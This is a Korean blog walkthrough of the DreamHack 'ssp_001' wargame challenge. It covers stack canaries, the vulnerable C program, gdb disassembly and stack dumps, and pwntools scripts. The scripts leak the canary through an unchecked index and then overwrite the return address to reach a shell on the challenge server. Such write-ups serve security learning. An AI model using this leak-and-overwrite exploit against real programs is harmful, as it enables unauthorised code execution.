카테고리 없음

DreamHack System- ssp_001

미숫가루빙수 2024. 10. 6. 21:00

 

 

ssp 방어 기법을 우회해 flag 파일을 읽어 정답을 획득해야한다.

문제를 풀기 전에 스택 카나리에 대해 알아야한다.

 

 

 

 스택 버퍼 오버플로우로부터 반환 주소를 보호하는 보호기법 

 

스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고,

함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

카나리 값의 변조가 확인되면 프로세스는 강제로 종료됨

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

문제에 주어진 코드이다.

 

print_box 함수에서 canary를 leak할 수 있을 것 같다.

box와 카나리의 offset을 확인하고 idx에 offset을 나눠서 넣어봐야겠다.

 

 

Reading symbols from ./ssp_001...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804872b <+0>:	push   ebp
   0x0804872c <+1>:	mov    ebp,esp
   0x0804872e <+3>:	push   edi
   0x0804872f <+4>:	sub    esp,0x94
   0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:	mov    eax,gs:0x14
   0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:	xor    eax,eax
   0x08048749 <+30>:	lea    edx,[ebp-0x88]
   0x0804874f <+36>:	mov    eax,0x0
   0x08048754 <+41>:	mov    ecx,0x10
   0x08048759 <+46>:	mov    edi,edx
   0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:	lea    edx,[ebp-0x48]
   0x08048760 <+53>:	mov    eax,0x0
   0x08048765 <+58>:	mov    ecx,0x10
   0x0804876a <+63>:	mov    edi,edx
   0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:	call   0x8048672 <initialize>
   0x08048790 <+101>:	call   0x80486f1 <menu>
   0x08048795 <+106>:	push   0x2
   0x08048797 <+108>:	lea    eax,[ebp-0x8a]
   0x0804879d <+114>:	push   eax
   0x0804879e <+115>:	push   0x0
   0x080487a0 <+117>:	call   0x80484a0 <read@plt>
   0x080487a5 <+122>:	add    esp,0xc
   0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
---Type <return> to continue, or q <return> to quit---
   0x080487af <+132>:	movsx  eax,al
   0x080487b2 <+135>:	cmp    eax,0x46
   0x080487b5 <+138>:	je     0x80487c6 <main+155>
   0x080487b7 <+140>:	cmp    eax,0x50
   0x080487ba <+143>:	je     0x80487eb <main+192>
   0x080487bc <+145>:	cmp    eax,0x45
   0x080487bf <+148>:	je     0x8048824 <main+249>
   0x080487c1 <+150>:	jmp    0x804887a <main+335>
   0x080487c6 <+155>:	push   0x804896c
   0x080487cb <+160>:	call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:	add    esp,0x4
   0x080487d3 <+168>:	push   0x40
   0x080487d5 <+170>:	lea    eax,[ebp-0x88]
   0x080487db <+176>:	push   eax
   0x080487dc <+177>:	push   0x0
   0x080487de <+179>:	call   0x80484a0 <read@plt>
   0x080487e3 <+184>:	add    esp,0xc
   0x080487e6 <+187>:	jmp    0x804887a <main+335>
   0x080487eb <+192>:	push   0x8048979
   0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:	add    esp,0x4
   0x080487f8 <+205>:	lea    eax,[ebp-0x94]
   0x080487fe <+211>:	push   eax
   0x080487ff <+212>:	push   0x804898a
   0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:	add    esp,0x8
   0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:	push   eax
   0x08048813 <+232>:	lea    eax,[ebp-0x88]
   0x08048819 <+238>:	push   eax
   0x0804881a <+239>:	call   0x80486cc <print_box>
   0x0804881f <+244>:	add    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x08048822 <+247>:	jmp    0x804887a <main+335>
   0x08048824 <+249>:	push   0x804898d
   0x08048829 <+254>:	call   0x80484b0 <printf@plt>
   0x0804882e <+259>:	add    esp,0x4
   0x08048831 <+262>:	lea    eax,[ebp-0x90]
   0x08048837 <+268>:	push   eax
   0x08048838 <+269>:	push   0x804898a
   0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:	add    esp,0x8
   0x08048845 <+282>:	push   0x804899a
   0x0804884a <+287>:	call   0x80484b0 <printf@plt>
   0x0804884f <+292>:	add    esp,0x4
   0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:	push   eax
   0x08048859 <+302>:	lea    eax,[ebp-0x48]
   0x0804885c <+305>:	push   eax
   0x0804885d <+306>:	push   0x0
   0x0804885f <+308>:	call   0x80484a0 <read@plt>
   0x08048864 <+313>:	add    esp,0xc
   0x08048867 <+316>:	mov    eax,0x0
   0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:	je     0x8048884 <main+345>
   0x08048878 <+333>:	jmp    0x804887f <main+340>
   0x0804887a <+335>:	jmp    0x8048790 <main+101>
   0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:	leave  
   0x08048888 <+349>:	ret    
End of assembler dump.
(gdb)

 

다음은 메인을 디스어셈블 한 것이다.

이번에는 name의 스택을 확인해본다.

 

 

(gdb) b *main+308
Breakpoint 1 at 0x804885f
(gdb) r
Starting program: /home/psj/ssp_001 
[F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 8
Name : 
Breakpoint 1, 0x0804885f in main ()
(gdb) ni
AAAABBBB
0x08048864 in main ()
(gdb) 
0x08048867 in main ()
(gdb) x/50wx $esp
0xffffcfb0:	0xffffd0e4	0x00000000	0x00000008	0x0a4559bf
0xffffcfc0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfd0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfe0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcff0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd000:	0x41414141	0x42424242	0x00000000	0x00000000
0xffffd010:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd020:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd030:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd040:	0xa6abb500	0xf7fb6000	0x00000000	0xf7e1e647
0xffffd050:	0x00000001	0xffffd0e4	0xffffd0ec	0x00000000
0xffffd060:	0x00000000	0x00000000	0xf7fb6000	0xf7ffdc04
0xffffd070:	0xf7ffd000	0x00000000

 

main+30에 브레이크를 걸고 name에 AAAABBBB를 입력하면

0xffffd000에 값이 들어가게 된다.

0xffffd000에 box가 들어갔으니 0xffffd000-0xffffcfa4가 64비트로 나눠떨어진다.

 

 

#stack

low

box[64] 
name[64]
canary[4]
sfp[4]
dummy[4]
ret[4]

high

 

스택을 확인해보면 0xa6abb500가 카나리인 것을 확인할 수 있다.

즉, box와 카나리의 offset은 0x80인 128이다.

print_box에서 idx를 128, 129, 130, 131을 주면 카나리가 나올 것이라고 예상한다.

 

 

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/psj/ssp_001 
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 128
Element of index 128 is : 00
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 129
Element of index 129 is : e8
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 130
Element of index 130 is : a1
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 131
Element of index 131 is : 11
[F]ill the box
[P]rint the box
[E]xit

 

카나리가 stack에서 반대로 표시되니 

카나리의 값은 0x11a1e800이 된다.

 

 

from pwn import *

#context.log_level = "debug"

p = process("./ssp_001")

canary = b"0x"

p.recvuntil("> ")

def canary_leak(num): #P 값을 주고 카니리 leak을 반복
	p.sendline(b"P")
	p.recvuntil(": ")
	p.sendline(str(num))

	p.recvuntil("is : ")

	return p.recv()[:2]

canary += canary_leak(131) 
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

print("Canary : "+hex(canary))

다음은 카나리를 leak하기 위해 만든 프로그램이다.

 

 

minji@ubuntu:~$ python3 sp_leak.py
[+] Starting local process './ssp_001': pid 93566
Canary : 0x8b653300
[*] Stopped process './ssp_001' (pid 93566)

leak 스크립트를 실행하면 카나리가 잘 나오는 것을 확인할 수 있다.

 

 

from pwn import *

#context.log_level = "debug"

#p = process("./ssp_001")
p = remote("host1.dreamhack.games",11392)
e = ELF("./ssp_001")

canary = b"0x"
get_shell = e.symbols["get_shell"]

p.recvuntil("> ")

def canary_leak(num):
	p.sendline(b"P")
	p.recvuntil(": ")
	p.sendline(str(num))

	p.recvuntil("is : ")

	return p.recv()[:2]

canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

print("Canary : "+hex(canary))

payload = b"\x90" * 64 #name
payload += p32(canary) #canary
payload += b"\x90" * 8 #sfp & 4bytes dummy
payload += p32(get_shell) #ret


p.sendline("E")
p.recvuntil("Size : ")

p.sendline(str(len(payload))) #payload length

p.recvuntil("Name : ")

p.sendline(payload)

p.interactive()

 

 

name을 이용해 payload를 짜본 exploit code이다. 

 

 

익스플로잇 코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.